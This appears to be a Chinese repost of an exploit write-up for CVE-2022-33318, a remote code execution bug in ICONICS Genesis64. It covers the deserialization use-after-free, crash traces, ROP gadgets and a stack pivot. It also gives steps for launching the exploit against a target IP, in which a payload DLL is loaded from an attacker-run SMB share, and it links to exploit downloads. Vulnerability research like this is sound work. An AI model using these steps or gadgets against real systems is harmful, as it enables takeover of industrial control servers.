CVE-2022-33318 exp ICONICS Genesis64 RCE

CVE-2022-33318 exp ICONICS Genesis64 RCE

Paracosme – CVE-2022-33318 – Remote Code Execution in ICONICS Genesis64

CVE-2022-33318漏洞描述

漏洞描述ICONICS GENESIS64 版本 10.97.1 及之前版本和 Mitsubishi Electric MC Works64 版本 4.04E (10.95.210.01) 及之前版本中的不可信数据反序列化漏洞允许远程未经身份验证的攻击者通过向 GENESIS64 服务器发送特制数据包来执行任意恶意代码。
状态已公开
问题类型不可信数据的反序列化
供应商、产品和版本供应商:未指定
产品:ICONICS GENESIS64;Mitsubishi Electric MC Works64
受影响的版本:
ICONICS GENESIS64 版本 10.97.1 及之前
Mitsubishi Electric MC Works64 版本 4.04E (10.95.210.01) 及之前
参考https://www.mitsubishielectric.com/en/psirt/vulnerability/pdf/2022-008_en.pdf
https://jvn.jp/vu/JVNVU96480474/index.html

Paracosme简介

Paracosme 是我针对ICONICS制作的Genesis64套件 v10.97.1编写的内存损坏漏洞利用程序,以实现远程代码执行.

CVE-2022-33318 exp ICONICS Genesis64 RCE

该漏洞在S4x22 会议上举行的Pwn2Own 2022 迈阿密竞赛中得到了展示。

该问题在 CVSS 上得分为 9.8,并被分配为CVE-2022-33318 / ZDI-22-1041
它已在Genesis64 10.97.2中修复。
您还可以阅读ICSA-22-202-04 公告以及 ICONICS关于 ICONICS Suite 安全漏洞的白皮书

您可以在 src/paracosme.py 中找到漏洞利用代码,在src/paracosme-poc.py中找到触发崩溃/验证您是否受到影响的 PoC,在src/payload 中找到在机器中执行的有效负载

我受到影响吗?

了解您是否受到影响的最佳方法是打开Page Heap for GenBroker64.exe,重新启动服务,将调试器附加到GenBroker64.exe,对您的服务器运行paracosme-poc.py,您应该会看到如下所示的崩溃:

CVE-2022-33318 exp ICONICS Genesis64 RCE

您需要将调试器附加到目标进程以见证崩溃,否则应用程序将忽略它。

CVE-2022-33318 exp

poc&exp下载地址:

①GitHub:

github.com/0vercl0k/paracosme.zip

②云中转网盘:

yunzhongzhuan.com/#sharefile=FZ8IfJ6d_75529
解压密码:www.ddosi.org

运行漏洞利用

该漏洞利用仅在 Windows 上进行了测试,但也应该可以在 Linux 平台上运行:

  1. 安装impacketpip3 install impacket
  2. 关闭计算机上运行的任何 SMB 服务器sc config lanmanserver start=disabled并重新启动
  3. smbserver.py使用(部分impacket示例)启动 smbserver :python src\smbserver.py -smb2support x bin
  4. 开始利用python src\paracosme.py --target <ip>
CVE-2022-33318 exp ICONICS Genesis64 RCE

漏洞原理

漏洞概述

Paracosme 利用GenBroker64进程中发现的 use-after-free 问题在 Windows 21H2 x64 系统上实现远程代码执行。对于感兴趣的读者,您还可以在bin/文件夹中找到GenBroker64.exe二进制文件。

在较高级别上,GenBroker64 进程侦听 TCP 端口 38080,并能够在与客户端完成握手后反序列化各种数据包。我发现的问题是在处理从网络套接字读取VARIANT的代码中。基本上,变体是一种类型和一个值。乍一看,这个函数似乎写得很好,并且努力只解包某些类型。这是它的样子:

bool CheckVariantType(VARTYPE VarType) {
  if((VarType & 0x2FFF) != VarType) {
    return false;
  }

  switch(VarType & 0xFFF) {
    case VT_EMPTY:
    case VT_NULL:
    case VT_I2:
    case VT_I4:
    case VT_R4:
    case VT_R8:
    case VT_CY:
    case VT_DATE:
    case VT_BSTR:
    case VT_ERROR:
    case VT_BOOL:
    case VT_VARIANT:
    case VT_I1:
    case VT_UI1:
    case VT_UI2:
    case VT_UI4:
    case VT_I8:
    case VT_UI8:
    case VT_INT:
    case VT_UINT:
    case VT_HRESULT:
    case VT_FILETIME:
      return true;
      break;
    default:
      return false;
  }
}

size_t VariantTypeToSize(VARTYPE VarType) {
  switch(VarType) {
    case VT_I1: return 1;
    case VT_UI2: return 2;
    case VT_UI4:
    case VT_INT:
    case VT_UINT:
    case VT_HRESULT:
      return 4;
    case VT_I8:
    case VT_UI8:
    case VT_FILETIME:
      return 8;
    default:
      return 0;
  }
}

void Utils::ReadVariant(tagVARIANT *Variant, Archive_t *Archive, int Level) {
    TRY {
        return ReadVariant_((CArchive *)Archive, (COleVariant *)Variant);
    } CATCH_ALL(e) {
        VariantClear(Variant);
    }
}

HRESULT Utils::ReadVariant_(tagVARIANT *Variant, Archive_t *Archive, int Level) {
  VARTYPE VarType = Archive.ReadUint16();
  if((VarType & VT_ARRAY) != 0) {
      // Special logic to unpack arrays..
      return ..;
  }

  Size = VariantTypeToSize(VarType);
  if (Size) {
      Variant->vt = VarType;
      return Archive.ReadInto(&Variant->decVal.8, Size);
  }

  if(!CheckVariantType(VarType)) {
      // ...
      throw Something();
  }

  return Archive >> Variant;
}

该函数实现了自己的数组解包,以及读取简单的变体类型,但如果它接收到的东西不是这两者中的任何一个,它就会退出operator>>归档实例。此存档实例是由Microsoft 基础类框架提供的对象,用于处理各种对象的序列化和反序列化。这段代码实际上是开源的,你可以在这里找到它C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.29.30133\atlmfc\src\mfc\olevar.cpp,但这里是:

CArchive& AFXAPI operator>>(CArchive& ar, COleVariant& varSrc) {
  LPVARIANT pSrc = &varSrc;
// ...
  switch(pSrc->vt) {
// ...
    case VT_DISPATCH:
    case VT_UNKNOWN: {
      LPPERSISTSTREAM pPersistStream = NULL;
      CArchiveStream stm(&ar);
      CLSID clsid;
      ar >> clsid.Data1;
      ar >> clsid.Data2;
      ar >> clsid.Data3;
      ar.EnsureRead(&clsid.Data4[0], sizeof clsid.Data4);
      SCODE sc = CoCreateInstance(clsid, NULL,
        CLSCTX_ALL | CLSCTX_REMOTE_SERVER,
        pSrc->vt == VT_UNKNOWN ? IID_IUnknown : IID_IDispatch,
        (void**)&pSrc->punkVal);
      if(sc == E_INVALIDARG) {
        sc = CoCreateInstance(clsid, NULL,
          CLSCTX_ALL & ~CLSCTX_REMOTE_SERVER,
          pSrc->vt == VT_UNKNOWN ? IID_IUnknown : IID_IDispatch,
          (void**)&pSrc->punkVal);
      }
      AfxCheckError(sc);
      TRY {
        sc = pSrc->punkVal->QueryInterface(
          IID_IPersistStream, (void**)&pPersistStream);
        if(FAILED(sc)) {
          sc = pSrc->punkVal->QueryInterface(
            IID_IPersistStreamInit, (void**)&pPersistStream);
        }
        AfxCheckError(sc);
        AfxCheckError(pPersistStream->Load(&stm));
      } CATCH_ALL(e) {
        if(pPersistStream != NULL) {
          pPersistStream->Release();
        }
        pSrc->punkVal->Release();
        THROW_LAST();
      }
      END_CATCH_ALL
      pPersistStream->Release();
    }
    return ar;
  }
}

这个函数很无聊,因为它也有解包琐碎类型的逻辑,但引起我注意的是VT_DISPATCHVT_UNKNOWN

我勒个去?您可以发送实现IPersistStreamIPersistStreamInit的任意 COM 对象类 ID,它将通过调用IPersistream::Load来加载它以初始化对象。尽管这是一个令人惊讶且奇怪的功能,但从安全的角度来看,我并不觉得这很有趣,因为我需要在 Windows 10 上可用的 COM 对象中找到另一个错误。

现在,让我们仔细看看下面的代码:

SCODE sc = CoCreateInstance(clsid, NULL,
  CLSCTX_ALL | CLSCTX_REMOTE_SERVER,
  pSrc->vt == VT_UNKNOWN ? IID_IUnknown : IID_IDispatch,
  (void**)&pSrc->punkVal); <-------------- [[0]]

if(sc == E_INVALIDARG) {
  sc = CoCreateInstance(clsid, NULL,
    CLSCTX_ALL & ~CLSCTX_REMOTE_SERVER,
    pSrc->vt == VT_UNKNOWN ? IID_IUnknown : IID_IDispatch,
    (void**)&pSrc->punkVal);
}

AfxCheckError(sc);
TRY {
  sc = pSrc->punkVal->QueryInterface(
    IID_IPersistStream, (void**)&pPersistStream);
  if(FAILED(sc)) {
    sc = pSrc->punkVal->QueryInterface(
      IID_IPersistStreamInit, (void**)&pPersistStream);
  }
  AfxCheckError(sc);
  AfxCheckError(pPersistStream->Load(&stm));
} CATCH_ALL(e) {
  if(pPersistStream != NULL) {
    pPersistStream->Release();
  }
  pSrc->punkVal->Release();
  THROW_LAST();
}

CoCreateInstance调用直接将COM 实例指针写入pSrc->punkVal其中,结果变量存储在调用者前几帧中。然后,如果IStreamPersist::Load触发了一个异常,它就会被捕获,并且IUnknown::Release会在IUnknownIPersistStream接口上被调用,这将释放 COM 对象离开pSrc->punkVal悬空。另一个有趣的点是在这样做之后,catch 块重新抛出被以下代码捕获的异常:

void Utils::ReadVariant(tagVARIANT *Variant, Archive_t *Archive, int Level) {
    TRY {
        return ReadVariant_((CArchive *)Archive, (COleVariant *)Variant);
    } CATCH_ALL(e) {
        VariantClear(Variant);
    }
}

在这个阶段,变体已经被释放,但是它的类型和值没有被更新/改变,所以这个VariantClear调用触发了第二个IUnknown::Release,它产生了下面的崩溃:

First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
OLEAUT32!VarWeekdayName+0x22468:
00007ffa`e620c7f8 488b01          mov     rax,qword ptr [rcx] ds:00000000`2e5a2fd0=????????????????

0:006> kp
 # Child-SP          RetAddr           Call Site
00 00000000`093bad20 00007ffa`e620cb31 OLEAUT32!VarWeekdayName+0x22468
01 00000000`093bad50 00000001`4000c20a OLEAUT32!VariantClear+0x21
02 00000000`093bad80 00007ffa`ccfa10ea GenBroker64+0xc20a
03 00000000`093badb0 00007ffa`ccfa2ca6 VCRUNTIME140_1+0x10ea
04 00000000`093bade0 00007ffa`ccfa3ae5 VCRUNTIME140_1!_NLG_Return2+0x1b56
05 00000000`093baf10 00007ffa`ccfa2258 VCRUNTIME140_1!_NLG_Return2+0x2995
06 00000000`093baf40 00007ffa`ccfa40e9 VCRUNTIME140_1!_NLG_Return2+0x1108
07 00000000`093bafe0 00007ffa`e6ce121f VCRUNTIME140_1!_CxxFrameHandler4+0xa9
08 00000000`093bb050 00007ffa`e6c5d9c2 ntdll!_chkstk+0x19f
09 00000000`093bb080 00007ffa`ccfa3d82 ntdll!RtlUnwindEx+0x522
0a 00000000`093bb790 00007ffa`ccfa1635 VCRUNTIME140_1!_NLG_Return2+0x2c32
0b 00000000`093bb880 00007ffa`ccfa19e6 VCRUNTIME140_1!_NLG_Return2+0x4e5
0c 00000000`093bb920 00007ffa`ccfa232b VCRUNTIME140_1!_NLG_Return2+0x896
0d 00000000`093bbaf0 00007ffa`ccfa40e9 VCRUNTIME140_1!_NLG_Return2+0x11db
0e 00000000`093bbb90 00007ffa`e6ce119f VCRUNTIME140_1!_CxxFrameHandler4+0xa9
0f 00000000`093bbc00 00007ffa`e6caa229 ntdll!_chkstk+0x11f
10 00000000`093bbc30 00007ffa`e6cdfe0e ntdll!RtlRaiseException+0x399
11 00000000`093bc340 00007ffa`e439a839 ntdll!KiUserExceptionDispatcher+0x2e
12 00000000`093bd080 00007ffa`ccfa2753 KERNELBASE!RaiseException+0x69
13 00000000`093bd160 00007ffa`e6ce05e6 VCRUNTIME140_1!_NLG_Return2+0x1603
14 00000000`093bd240 00007ffa`ccc1ab24 ntdll!RtlCaptureContext+0x566
15 00000000`093bf980 00000001`4001c574 mfc140u+0x27ab24
16 00000000`093bfa20 00000001`40023241 GenBroker64+0x1c574
17 00000000`093bfae0 00000001`40025fdc GenBroker64+0x23241
18 00000000`093bfb40 00000001`4008afee GenBroker64+0x25fdc
19 00000000`093bfb80 00000001`4008a499 GenBroker64+0x8afee
1a 00000000`093bfc80 00000001`400858bd GenBroker64+0x8a499
1b 00000000`093bfda0 00000001`400860a9 GenBroker64+0x858bd
1c 00000000`093bfe20 00007ffa`e5187bd4 GenBroker64+0x860a9
1d 00000000`093bff30 00007ffa`e6cace71 KERNEL32!BaseThreadInitThunk+0x14
1e 00000000`093bff60 00000000`00000000 ntdll!RtlUserThreadStart+0x21

哇,太棒了,我们可以通过实例化一个实现IPersistStream的 COM 对象来触发上述情况,并让它在被调用时触发异常Load您可以在paracosme-poc.py中找到触发代码,GenBroker64.exe应该会使目标上的进程崩溃。您还可以在GenBroker64.exe上启用页面堆以立即崩溃。

获取 RIP

VariantClear在变体上调用时,它会向该方法发送一个虚拟调用Release以释放它。由于这是一个虚拟调用,该函数读取一个 vtable 并在固定偏移处获取一个函数指针并调用它。在此发生之前,我们让线程竞速以回收 ole32!CFileMoniker实例并用受控数据替换它(请参阅 参考资料RacerThread_t)。结果,我们控制了 vtable 指针,并且是一条远离劫持 RIP 的指令。下面显示了相应的汇编指令,其中@rcx指向我们可以完全控制的块:

0:011> u . l3
OLEAUT32!VariantClear+0x20b:
00007ffb`0df751cb  mov     rax,qword ptr [rcx]
00007ffb`0df751ce  mov     rax,qword ptr [rax+10h]
00007ffb`0df751d2  call    qword ptr [00007ffb`0df82660]

0:011> u poi(00007ffb`0df82660)
OLEAUT32!SetErrorInfo+0xec0:
00007ffb`0deffd40  jmp     rax

因为我们可以完全控制回收的块,所以我们可以控制@rax. 为了劫持控制流,我们需要设置@rax一个指向我们想要劫持的值的指针@rip。这里最大的问题是 ASLR,我们没有信息披露。

对我们来说幸运的是,该模块GenBroker64.exe没有动态基础,这意味着我们可以使用它来找到指向有趣小工具的位置来启动我们的链。

0:012> !dh genbroker64

File Type: EXECUTABLE IMAGE
FILE HEADER VALUES
    8664 machine (X64)
       7 number of sections
616D3B07 time date stamp Mon Oct 18 02:14:47 2021

       0 file pointer to symbol table
       0 number of symbols
      F0 size of optional header
      22 characteristics
            Executable
            App can handle >2gb addresses

OPTIONAL HEADER VALUES
            High entropy VA supported
            NX compatible
            Terminal server aware

ROP

使用的第一个小工具是一个允许我们完全控制的@rip(没有任何间接):

0:011> u poi(1400aed18)
00007ffb2137ffe0   sub     rsp,38h
00007ffb2137ffe4   test    rcx,rcx
00007ffb2137ffe7   je      00007ffb`21380015
00007ffb2137ffe9   cmp     qword ptr [rcx+10h],0
00007ffb2137ffee   jne     00007ffb`2137fff4
 ...
00007ffb2137fff4   and     qword ptr [rsp+40h],0
00007ffb2137fffa   mov     rax,qword ptr [rcx+10h]
00007ffb2137fffe   call    qword ptr [mfc140u!__guard_dispatch_icall_fptr (00007ffb`21415b60)]

我们可以将下一个小工具的地址放在+0x10我们回收的块中的偏移处(由 指向@rcx),这很棒。

我们使用的第二个小工具将堆栈旋转到我们可以完全控制的回收堆块:

0:008> u 14005bd25
000000014005bd25   mov     esp,ecx
000000014005bd27   cmp     byte ptr [1400fe788],0
000000014005bd2e   je      000000014005bebc
...
000000014005bebc   lea     r11,[rsp+60h]
000000014005bec1   mov     rbx,qword ptr [r11+30h]
000000014005bec5   mov     rbp,qword ptr [r11+38h]
000000014005bec9   mov     rsi,qword ptr [r11+40h]
000000014005becd   mov     rsp,r11
000000014005bed0   pop     r15
000000014005bed2   pop     r14
000000014005bed4   pop     r13
000000014005bed6   pop     r12
000000014005bed8   pop     rdi
000000014005bed9   ret

有趣的是,我们的堆块的地址似乎(总是?)位于适合 32 位整数的位置,这就是为什么mov esp, ecx可以正常工作的原因。

在这一点上,我们有 ROP,但我们没有足够的空间,这非常令人沮丧。我花了很多时间尝试对齐星星,最终想出了一系列小工具,这些小工具LoadLibraryW通过远程 SMB 路径调用,该路径指向托管我们有效负载的 DLL 文件。如果您对链的详细信息感兴趣,请查看paracosme.py@241

项目地址:

github:
https://github.com/0vercl0k/paracosme

转载请注明出处及链接

One comment

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用 * 标注